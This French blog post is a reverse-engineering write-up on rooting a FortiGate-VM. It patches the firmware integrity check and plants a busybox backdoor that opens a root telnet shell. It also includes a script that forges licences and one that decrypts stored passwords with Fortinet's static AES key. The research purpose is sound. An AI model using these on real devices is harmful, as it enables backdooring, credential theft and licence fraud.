Cette histoire commence par la lecture d’un article (Decrypting FortiGate passwords (CVE-2019–6693)) écrit par Bart Dopheide qui décrit comment obtenir la clé de chiffrement AES
qui permet de déchiffrer les mots de passe que l’on retrouve dans les fichiers de configuration, sous cette forme :
config wireless-controller vap
edit "dummy-decrypt"
set vdom root
set passphrase ENC umGOJVCWhGhoiuY/EjTZcZKjuuIkusDNkvdvUkU3awr5TGudxfmidR2bOyoBlQgHho0DuORJafh1WiCzaoBpRNv/gHCFC5mlPVcjjpHXTUvG47/qlBusgELO1ctsLt/4RVjov2S5R7+6DdkU/PbSZVoNkeINDQBsP3TTmxEz9+YyPleLzBZh4RKU2OKTsqe6TF/uHA==
next
end
Pour réaliser ce travail, nous devons au préalable obtenir un accès root
sur le FortiGate-VM
. Mais depuis le 14 novembre 2019, Fortinet a corrigé la CVE-2019-5587 (VM images lack an integrity check of the file system at boot time). Il manquait un contrôle sur le système de fichiers, ce qui pouvait permettre aux attaquants d’injecter des programmes malveillants dans le système.
Pour cette raison, une vérification du système de fichiers à été ajoutée dans le processus de démarrage. Les versions strictement antérieures à 6.0.5
et 6.2.0
sont affecté par la CVE-2019-5587
.
De nature plutôt joueur, nous décidons de nous procurer une image FortiGate-VM
version 6.2.0
. Nous précisons que avec cette version, nous n’avons pas besoin de rentrer en mode kernel debugger
, mais nous tacherons d’expliquer comment la protection à évoluée sur les firmwares
plus récents…
Pour cet exercice, nous avons besoin :
stretch
(par flemme de procéder à l’installation d’une version plus récente).FortiGate-VM
(nous avons utilisé une image 6.2.0
pour VMware),qemu-nbd
.Une fois l’image obtenu, nous déployons une VM
et nous nous connectons avec les identifiants par défaut (admin
/blank
) et nous lui assignons une adresse IP. Par exemple :
config global
config system interface
edit mgmt
set ip 192.168.x.x/255.255.255.0
end
Evidemment, on vérifie que nous avons bien accès à la VM
(ping
, connexion à l’interface graphique, …) et nous arrêtons le FortiGate-VM
.
Pour extraire le système de fichier du FortiGate-VM
nous pouvons nous appuyer sur les commandes suivantes :
sudo modprobe nbd max_part=16
sudo mkdir /mnt/fortios
sudo qemu-nbd -r -c /dev/nbd1 ./FortiGateVM-disk1.vmdk
sudo fdisk -l /dev/nbd1
sudo mount /dev/nbd1p1 /mnt/fortios
NOTE : Nous utilisons
gemu-nbd
avec l’option-r
, c’est parce que la version 3 deVMDK
doit être en lecture seule pour pouvoir être montée parqemu
.
Nous récuperons les fichiers rootfs.gz
et flatkc
. Une fois les fichiers récupérés, nous pouvons démonter le VMDK puisqu’il est en lecture seule.
sudo umount /mnt/fortios
sudo qemu-nbd -d /dev/nbd1
Le fichier rootfs.gz
peut être décompressé avec les commandes suivantes :
gzip -d rootfs.gz
sudo cpio -idv < rootfs
NOTE : Les fichiers binaires réels se trouvent dans l’archive
bin.tar.xz
, mais tenter de les extraire avec une version standard dexz
ne fonctionnera pas, carFortinet
semble utiliser une version personnalisée. Cependant, la version personnalisée dexz
est présente dans le système de fichiers, il est donc possible de l’utiliser pour extraire l’archive.
sudo chroot . sbin/xz --check=sha256 -d bin.tar.xz
sudo chroot . sbin/ftar -xf bin.tar
Nous pouvons constater au passage que la plupart des binaires présent dans l’archive sont des liens symboliques vers le fichier /bin/init
.
NOTE : Ceci peut nous permettre de faire du différentiel de binaire entre une version vulnérable et une version
patchée
pour traquer les correctifs apportés et entreprendre l’exploitation d’une vulnérabilité en se focalisant sur les changements apportés aufirmware
.
D’autre part, nous pouvons utiliser la commande suivante pour désassembler le fichier binaire /bin/init
:
objdump --disassemble-all --reloc --dynamic-reloc --syms --dynamic-syms --wide init > init.asm
Bien sur cette commande est archaïque, nous préfèrerons l’utilisation d’un outil comme Ghidra
ou IDA
.
Cette étape est nécessaire pour les FortiGate-VM supérieur ou égale à 6.0.5
, 6.2.0
, 6.4.x
, 7.0.x
, et 7.2.x
.
Dans l’article A method to obtain FortiGate authority & License authorization analysis CataLpa
explique comment passer outre la protection de checksum
du firmware
(CVE-2019-5587).
Pour ce problème, la première chose à faire est de localiser les logiques de vérifications.
Pour cela, nous regardons les informations de sortie lorsque le système démarre :
Tout en considérant que la vérification du système de fichiers peut être implémentée dans le noyau ou en mode utilisateur. CataLpa
nous explique qu’il commence son analyse en recherchant la chaine System is starting
dans le système de fichiers (rootfs
).
grep -rnl "System is starting"
Le fichier contenant la chaine étant : bin/init
.
Nous utilisons IDA Pro
, la décompilation prend plusieurs minutes (15-20 minutes). Désormais, nous savons par expérience que le positionnement des fonctions peut varier en fonction de la version du firmware
. Sachant que nous n’utilisons pas le même firmware
que CataLpa
, donc, nous devons nous adapter.
Nous recherchons une correspondance dans le fichier binaire bin/init
pour la chaine System is starting
. Et nous réalisons à l’ingénierie inverse du fichier pour voir quand cette chaîne est imprimée :
Voici un extrait du pseudo-code C
de la fonction main
:
// ...
v6 = *a2;
if ( !strcmp(*a2, "/bin/init") )
{
argv = "/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
v26 = 0LL;
execve("/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", &argv, 0LL);
v6 = *a2;
}
if ( memcmp(v6, "/bin/init", 9uLL) )
return sub_4319A0(v3, v4);
sub_18ABA20((unsigned __int64)"\nSystem is starting...\n");
fflush(stdout);
if ( !(unsigned int)CRYPTO_set_mem_functions(sub_437E00, sub_437E20, sub_437E10) )
{
getpid();
sub_18ABB20((unsigned __int64)"[%d] CRYPTO_set_mem_functions() failed.\n");
}
reboot(0);
close(0);
close(1);
close(2);
sub_438AF0();
chdir("/");
setsid();
v7 = sub_438B90();
v8 = v7;
if ( v7 >= 0 )
{
dup2(v7, 0);
dup2(v8, 1);
dup2(v8, 2);
}
if ( (int)sub_1FA2E40(1024) < 0 )
{
sub_18ABA20((unsigned __int64)"could not setup epoll in init.\n");
result = 0xFFFFFFFFLL;
}
else
{
if ( (int)sub_439690() >= 0 )
{
sub_438C00("setup_signals");
v9 = 0LL;
memset(&xmmword_3715A60, 0, 0x1000uLL);
memset(&argv, 0, 0x98uLL);
sigemptyset((sigset_t *)&v26);
v31 = 4;
do
{
v10 = v9;
if ( qword_3117CC0[v9] )
argv = (char *)sub_437520;
else
argv = (char *)1;
++v9;
sigaction(v10, (const struct sigaction *)&argv, 0LL);
}
while ( v9 != 32 );
argv = (char *)sub_436430;
v12 = (int *)&unk_3117E00;
sigaction(3, (const struct sigaction *)&argv, 0LL);
signal(4, handler);
signal(8, sub_436860);
signal(1, sub_436890);
argv = (char *)sub_4362E0;
sigaction(11, (const struct sigaction *)&argv, 0LL);
v13 = (__int64)"%s()-%d: %s: run_initlevel(SYSINIT)\n\n";
sub_18AB100(16);
sub_435910(1u);
do
{
v14 = (const char *)v12;
v12 += 2;
sub_1FAA310(v14);
}
while ( &fd != v12 );
sub_437620(v14, "%s()-%d: %s: run_initlevel(SYSINIT)\n\n");
if ( !(unsigned int)sub_431590() )
{
v13 = 2751LL;
v14 = "Done %d.\n";
sub_18ABA20((unsigned __int64)"Done %d.\n");
sub_435FA0();
}
if ( (unsigned int)sub_1E13AA0(v14, v13) )
{
sub_1F04920();
if ( (unsigned int)sub_435640("/bin/fips_self_test") )
sub_435FA0();
}
else
{
sub_1E3C5F0();
}
// ...
Nous localisons notre printf
(sub_18ABA20((unsigned __int64)"\nSystem is starting...\n");
).
Parmi toutes les conditions de cette fonction, la position la plus évidente fait référence à la chaîne /bin/fips_self_test
. Et la fonction sub_435FA0
fait référence à la fonction do_halt
.
// ...
do
{
v14 = (const char *)v12;
v12 += 2;
sub_1FAA310(v14);
}
while ( &fd != v12 );
sub_437620(v14, "%s()-%d: %s: run_initlevel(SYSINIT)\n\n");
if ( !(unsigned int)sub_431590() )
{
v13 = 2751LL;
v14 = "Done %d.\n";
sub_18ABA20((unsigned __int64)"Done %d.\n");
do_halt();
}
if ( (unsigned int)sub_1E13AA0(v14, v13) )
{
sub_1F04920();
if ( (unsigned int)sub_435640("/bin/fips_self_test") )
do_halt();
}
else
{
sub_1E3C5F0();
}
// ...
Ci-dessous, la fonction sub_435FA0
que nous avons renommer en do_halt
en référence à l’article de CataLpa
.
unsigned __int64 do_halt()
{
int v0; // eax
int v1; // ebx
struct timespec requested_time; // [rsp+0h] [rbp-30h]
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
sub_438C00("do_halt");
sub_435EE0("do_halt", 1327LL);
v0 = open("/dev/console", 2305);
if ( v0 >= 0 )
{
v1 = v0;
dprintf(v0, "\r\nThe system is halted.\r\n");
fsync(v1);
close(v1);
}
requested_time.tv_sec = 2LL;
requested_time.tv_nsec = 0LL;
while ( nanosleep(&requested_time, &requested_time) == -1 && *__errno_location() == 4 )
;
if ( !fork() )
reboot(1126301404);
while ( pause() )
;
return __readfsqword(0x28u) ^ v4;
}
Vous avez compris, nous devons contourner les conditions qui font appel à cette fonction, sinon, le message The system is halted.
s’affichera, pour indiquer que le système a cessé de fonctionner.
NOTE : Le patch à appliquer va varier en fonction des versions, mais l’idée reste la même.
Ci-dessous, la logique de vérification avant l’application du patch :
Pour que la magie opère, nous devons remplacer les sauts jz
par jnz
. Le premier saut se situe à l’offset 0x381CA
et le second à l’offset 0x381EE
.
Nous réalisons ces modifications à l’aide d’un éditeur hexadécimal.
Enfin, voici à quoi ressemble le code après les modifications :
Une fois que nous avons réalisé ces modifications, nous décompressons les archives migadmin.tar.xz
et usr.tar.xz
. Nous devons avoir un répertoire rootfs
qui ressemble à ceci :
Nous téléchargeons les sources de busybox
:
On décompresse l’archive, puis on éxecute make menuconfig
.
Modifier les informations de configuration
Dans Settings
-> Build Options
: Nous activons Build static binary (no shared libs)
.
Dans Coreutils
: Nous désacivons l’option Sync
.
On sauvegarde la configuration, puis nous compilons busybox
:
make
Nous devons copier busybox
dans le répertoire /bin
de rootfs
.
sudo cp busybox /path/to/rootfs/bin
cd /path/to/rootfs/bin
sudo chmod 777 busybox
Nous supprimons le lien symbolique sh
d’origine et nous créons un lien symbolique vers busybox
.
sudo rm -rf sh
sudo ln -s /bin/busybox sh
Création de la porte dérobée
Nous pouvons créer la backdoor nous-même, comme dans l’exemple ci-dessous :
# include <stdio.h>
void shell() {
system("/bin/busybox ls", 0, 0);
system("/bin/busybox id", 0, 0);
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);
return;
}
int main(int argc, char const *argv[]) {
shell();
return 0;
}
Nous devons compiler la backdoor en utilisant une liaison statique.
gcc -g backdoor.c -static -o backdoor
NOTE : Il est préférable d’utiliser la fonction
system
au lieu de la fonctionexecv
car la fonctionsystem
ajoutera l’environnement aprèsinit
, la fonctionexecv
ne le fera pas.
Une autre alternative est de générer la backdoor avec msfvenom
pour obtenir un reverse shell
.
Nous devons remplacer smartctl
par notre backdoor
.
sudo rm ./bin/smartctl
sudo cp backdoor ./bin/smartctl
Nous remballons l’archive rootfs.tar.xz
.
sudo chroot . /sbin/ftar -cf bin.tar ./bin
sudo chroot . /sbin/xz --check=sha256 -e bin.tar
sudo su root
find . -path './bin' -prune -o -print | cpio -H newc -o > ../rootfs.raw
cat ../rootfs.raw | gzip > ../rootfs.gz
Et nous utilisons notre VM Debian
pour copier le fichier rootfs.gz
.
Si vous utilisez le même firmware
que moi (6.2.0
), vous avez accompli toutes les tâches nécessaires et vous pouvez remplacer le VMDK
original par votre VMDK
patché.
Nous démarrons la VM
, nous nous connectons à l’interface CLI
, puis, nous exécutons les commandes comme dans la capture d’écran ci-dessous pour activer la backdoor
.
Enfin, nous pouvons nous connecter en Telnet
sur le FortiGate-VM
pour obtenir un Shell
avec les droits d’accès root
. N’oublions pas que notre backdoor
se substitue au SSH
et que donc, nous devons ouvrir un Telnet
sur le port tcp/22
.
telnet xxx.xxx.xxx.xxx 22
NOTE : Cependant, si vous utilisez un
firmware
plus récent, il faudra passer en modekernel debug
pour faire péter la logique de vérification defgt_verify
et remplacer la chaine/sbin/init
en/bin/init
.
Pour ne pas vous laisser dans l’embarra, nous allons regarder comment nous pouvons ajouter un pont de débogage en mode kernel
à la machine virtuelle.
Nous devons modifier le fichier .vmx
de la VM
et ajouter les éléments suivants.
32-bits
:debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12345"
64-bits
:debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
Pour compliquer la détection des points d’arrêt que vous avez définis à l’aide de GDB
, il est fortement recommandé d’ajouter également l’option suivante :
debugStub.hideBreakpoints = "TRUE"
NOTE : Une chose importante est que cette option est limitée par le nombre de points d’arrêt matériels disponibles pour le processeur (généralement 4). Vous pouvez vous référer à cette article Setup - VMM debugging using VMware’s GDB stub and IDA Pro - Part 1 pour plus de détail.
Le fichier noyau du système est le fichier flatkc
de la partition FORTIOS (flatkc.chk
est son fichier de signature), et les paramètres de ligne de commande du noyau se trouvent dans le fichier extlinux.conf
.
Nous devons utiliser vmlinux-to-elf pour convertir le noyau en ELF
.
vmlinux-to-elf flatkc flatkc.elf
Avec IDA
nous devons localiser la logique de vérification (l’emplacement où le processus en mode utilisateur est démarré). Et contourner fgt_verify
qui est utilisé pour vérifier le hachage du système de fichiers. Si la vérification réussit, le processus /sbin/init
sera lancé. C’est pour cette raison qu’après avoir patché fgt_verify
, nous devons remplacer la chaine /sbin/init
par /bin/init
.
Le binaire /sbin/init
etant charger de décompresser entre autres bin.tar.xz
, migadmin.tar.xz
et usr.tar.xz
.
L’image suivante provient de l’article 利用VMware获取shell-进阶. Pour vous monter à quoi cela ressemble.
NOTE : Il vous sera facile de localiser la fonction
fgt_verify
, cette fonction est présente dans la routineinit_post
.
Nous nous positionnons pour faire en sorte de :
fgt_verify
./sbin/init
en /bin/init
.Les commandes devraient ressembler à ceci :
set $rax = 0
set {char [10]} 0xffffffffxxxxxxxx = "/bin/init"
Dans cet exemple, nous nous connectons en remote debugger sur le noyau de la version 6.2.0
qui ne possède pas cette verification (fgt_verify
). Mais vous avez compris l’idée…
Nous pouvons nous connecter comme ceci :
gdb
target remote xxx.xxx.xxx.xxx:12345
file /path/to/flatkc.elf
b *0xffffffff8057c6ab
Nous nous connectons sur xxx.xxx.xxx.xxx:12345
, c’est l’adresse IP de l’hôte sur lequel VMware est installé (pas l’adresse du FortiGate-VM). Nous indiquons au debugger quel fichier il peut utiliser comme référence (flatkc.elf
). Et nous positionnons un point d’arrêt sur la fonction init_post
.
Donc, un point d’arrêt sur : 0xffffffff8057c6ab
.
Puis disassemble
, pour comparer le code issu de IDA
avec le kernel
chargé par la VM
.
Pour vous amuser, vous pouvez mettre un point d’arrêt sur 0xffffffff8057c6fa
et modifier la chaine /init
en /bin/init
. Cela n’a pas vraiment d’importance, mais, ceci démontre comment modifier une chaine en mémoire.
Ceci élimine le message d’erreur init_loader_decompress_dir
qui s’affiche au démarrage de la VM
.
Avant la modification :
Après la modification :
Le message d’erreur disparait… Je me suis dit que cela vous ferai un bon entrainement.
En réalité, il n’est pas nécessaire de cracker la license, nous pouvons tout simplement ouvrir un compte FortiCloud
et demander une licence d’évaluation. Cependant, cette license est limité dans le temps. Et la recherche prend énormément de temps.
Dans ce cas, il peut être intéressant de recourir au 49.3
(nan, je déconne), au cracking de license pour nous laisser suffisamment de … temps.
Honnêtement, ce n’est pas quelque chose que j’ai regardé en profondeur. Notre cher CataLpa
à publier un code (fos-license-gen) qui permet d’étendre dans le temps l’accès a notre FortiGate-VM
(ceci ne permet pas d’activer ATP/UTM). Donc, je dépose le script ici pour la postérité.
"""
FortiGate license generator
Copyright (C) 2023 CataLpa
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import struct
import base64
from Crypto.Cipher import AES
lic_key_array = {
"SERIALNO": (0x73, 0x0),
"CERT": (0x73, 0x8),
"KEY": (0X73, 0x10),
"CERT2": (0X73, 0x18),
"KEY2": (0X73, 0x20),
"CREATEDATE": (0x73, 0x28),
"UUID": (0x73, 0x30),
"CONTRACT": (0x73, 0x38),
"USGFACTORY": (0x6e, 0x40),
"LENCFACTORY": (0x6e, 0x44),
"CARRIERFACTORY": (0x6e, 0x48),
"EXPIRY": (0x6e, 0x4c)
}
class License:
aes_key_iv_length = 32 # 4 bytes
aes_key = b"\x61" * 32 # 32 bytes, contains iv(16 bytes) and key(16 bytes)
enc_data_length = None # 4 bytes
enc_data = None # length = enc_data_length
license_data = None
def __init__(self, licensedata):
self.license_data = licensedata
def encrypt_data(self):
tmp_buf = b"\x00" * 4 + struct.pack("<I", 0x13A38693) + b"\x00" * 4 + self.license_data # append magic number
def encrypt(data, password, iv):
bs = 16
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode()
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(data))
return data
self.enc_data = encrypt(tmp_buf, self.aes_key[16:], self.aes_key[:16])
self.enc_data_length = len(self.enc_data)
def obj_to_license(self):
buf = b""
buf += struct.pack("<I", self.aes_key_iv_length)
buf += self.aes_key
buf += struct.pack("<I", self.enc_data_length)
buf += self.enc_data
return base64.b64encode(buf)
class LicenseDataBlock:
key_name_length = None # 1 byte
key_name = None
key_flag = None # 1 byte, 's' for str or 'n' for num
key_value_length = None # 2 bytes
key_value = None
def __init__(self, keyname, keyvalue):
self.key_name_length = len(keyname)
self.key_name = keyname
self.key_value_length = len(keyvalue)
self.key_value = keyvalue
self.key_flag = lic_key_array.get(keyname)[0]
def obj_to_bin(self):
buf = b""
buf += struct.pack("<B", self.key_name_length)
buf += self.key_name.encode()
buf += struct.pack("<B", self.key_flag)
if self.key_flag == 0x73:
buf += struct.pack("<H", self.key_value_length)
buf += self.key_value.encode()
elif self.key_flag == 0x6e:
buf += struct.pack("<H", 4)
buf += struct.pack("<I", int(self.key_value))
return buf
if __name__ == "__main__":
license_data_list = [
LicenseDataBlock("SERIALNO", "FGVMPGLICENSEDTOCATALPA"),
# LicenseDataBlock("CERT", "CERT"),
# LicenseDataBlock("KEY", "KEY"),
# LicenseDataBlock("CERT2", "CERT2"),
# LicenseDataBlock("KEY2", "KEY2"),
LicenseDataBlock("CREATEDATE", "1677686400"),
# LicenseDataBlock("UUID", "UUID"),
# LicenseDataBlock("CONTRACT", "CONTRACT"),
LicenseDataBlock("USGFACTORY", "32"),
LicenseDataBlock("LENCFACTORY", "32"),
LicenseDataBlock("CARRIERFACTORY", "32"),
LicenseDataBlock("EXPIRY", "15552000"),
]
license_data = b""
for obj in license_data_list:
license_data += obj.obj_to_bin()
license = License(license_data)
license.encrypt_data()
raw_license = license.obj_to_license().decode()
n = 0
lic = ""
while True:
if n >= len(raw_license):
break
lic += raw_license[n:n + 64]
lic += "\r\n"
n += 64
f = open("./lic.txt", "w")
f.write("-----BEGIN FGT VM LICENSE-----\r\n")
f.write(lic)
f.write("-----END FGT VM LICENSE-----\r\n")
f.close()
print("Saved to ./lic.txt")
Enfin, nous avons désormais tout ce qu’il nous faut pour reproduire ce qui est décrit dans l’article Decrypting FortiGate passwords (CVE-2019–6693) écrit par Bart Dopheide.
Nous nous connectons en Telnet
sur notre Fortigate-VM
, nous obtenons un Shell
avec les droits root
. Nous allons uploader sur le FortiGate-VM
un degugger (GDB
) que nous allons récupérer ICI.
Nous localisons le PID
de cmdbsvr
, nous allons attacher notre debugger à ce processus.
/bin/busybox ps aux | grep cmdbsvr
Nous posons un point d’arrêt sur EVP_EncryptInit_ex
.
Depuis l’interface WEB
, nous créons un nouvel utilisateur pour déclencher notre point d’arrêt.
Nous observons ce qui ce passe dans la mémoire…
config user local
edit "guest"
set type password
set passwd ENC hbG2u5AuK7Zjqe3HpFBF4dXaXE2j9OWDWFOt4/fTlj/I6mQnciR9S80XvCDnGv0BSUwrS5P2dfx2uZ+6GQ+g1frsB4atS3kYOTj1qUq+yLm5LZ2NTKI7tWFjLqZxSzM1wXI65h6XZCXq8MzQsc8seFy7xFcYIXrDYWuA58TKB/AJkmoXxoRs43usAzMOcrDwBRoZBQ==
next
edit "emacron"
set type password
set passwd-time 2023-03-30 02:33:18
set passwd ENC 8rerApwEfSnldYVFirZfnkkvPAdLOJhXFowXMA2Q9+Vq+M6N/Oj0vn13ZCbAQG+fmJETfHf49W7uJCjWEN6uBnwkFitwd8kbltvZdsPiT5DChAaoXe5suP5jdL5Qpx2HfqXNgt3Qlx8v9W8kQ1NTY46F5AO//OCx5ChXfW98mVVKN+mlzR7bDBbnozPBTQ7iSjzZLQ==
next
end
Nous savons que le mot de passe est Mary had a littl
et que l’algorithme de chiffrement est AES-CBC
.
#!/usr/bin/env python3
from sys import argv, exit
AES_STATIC_KEY = b'Mary had a littl'
def aes_decrypt(data) :
from Cryptodome.Cipher import AES
import sys
sys.tracebacklimit = 0
iv = data[0:4] + b'\x00' * 12
cipher = AES.new(AES_STATIC_KEY, iv = iv, mode = AES.MODE_CBC)
return(cipher.decrypt(data[4:]))
def cli_args() :
import argparse
parser = argparse.ArgumentParser(
add_help = False,
description = 'FortiGate Password Recovery'
)
optional = parser._action_groups.pop()
required = parser.add_argument_group("required arguments")
required.add_argument(
"--enc", "-e", action = "store",
help = "The encrypted password to be recovered."
)
optional.add_argument(
"--help", "-h", action = "store_true",
help = argparse.SUPPRESS
)
parser._action_groups.append(optional)
return(cli_args_helper(parser.parse_args(), parser))
def cli_args_helper(arguments, parser) :
# --enc
if (arguments.enc) :
if (arguments.enc[0:3] == 'SH2') :
exiting('This password use the SHA-256 encryption and it cannot be reversed!', 0)
elif (arguments.enc[0:3] == 'AK1') :
exiting('This password use the SHA-1 encryption and it cannot be reversed!', 0)
# Help message and exit.
if ((arguments.help) or (len(argv) > 3)) :
parser.print_help()
exit(0)
return(arguments)
def exiting(message, ret_code) :
print("[!!] %s\nExiting..." % (message))
exit(ret_code)
def main() :
from base64 import b64decode
print('FortiGate Password Recovery')
params = cli_args()
cleartext = aes_decrypt(b64decode(params.enc))
print(cleartext)
if(__name__ == "__main__") :
main()
exit(0)
Alors, je ne sais pas pour vous, mais moi, je me suis vraiment régalé à travailler ce sujet. J’espère que cet article vous aidera à progresser dans les domaines de la rétro-Ingegneri, que ce soit en reproduisant le contenu de cet article, ou en cherchant à rooter
d’autres FortiGate-VM
.
Avec les éléments que je vous ais fournie, vous pourriez avoir l’idée de passer à la vitesse supérieur pour les plus motivé d’entre vous, en produisant par exemple un module d’exploitation Metasploit
pour la CVE-2022-42475. Vous avez tout ce qu’il faut pour y arriver.
Vous pourriez également traquer les vulnérabilités, en analysant le code ou … en réalisant des différentiels entre les binaires pour comprendre ce qui a été modifier entre une version vulnérable et le correctif associé en focalisant sur les modifications qui ont été apporté pour corriger une vulnérabilité spécifique (comme une RCE par exemple).
Moi-même j’ai beaucoup appris en travaillant sur ce sujet, ceux qui me connaisse savent que je travaille pour un ISP
Réunionnais en tant que consultant Cyber sécurité et que dans le cadre de mon métier je suis quotidiennement confronté aux solutions techniques de Fortinet. Personnellement, je me devais d’étudier un peu plus en profondeur ces appareils pour monter en compétence, maintenir une expertise technique forte afin de répondre le mieux possible à nos clients sur les questions liées au vulnérabilité de ces équipements.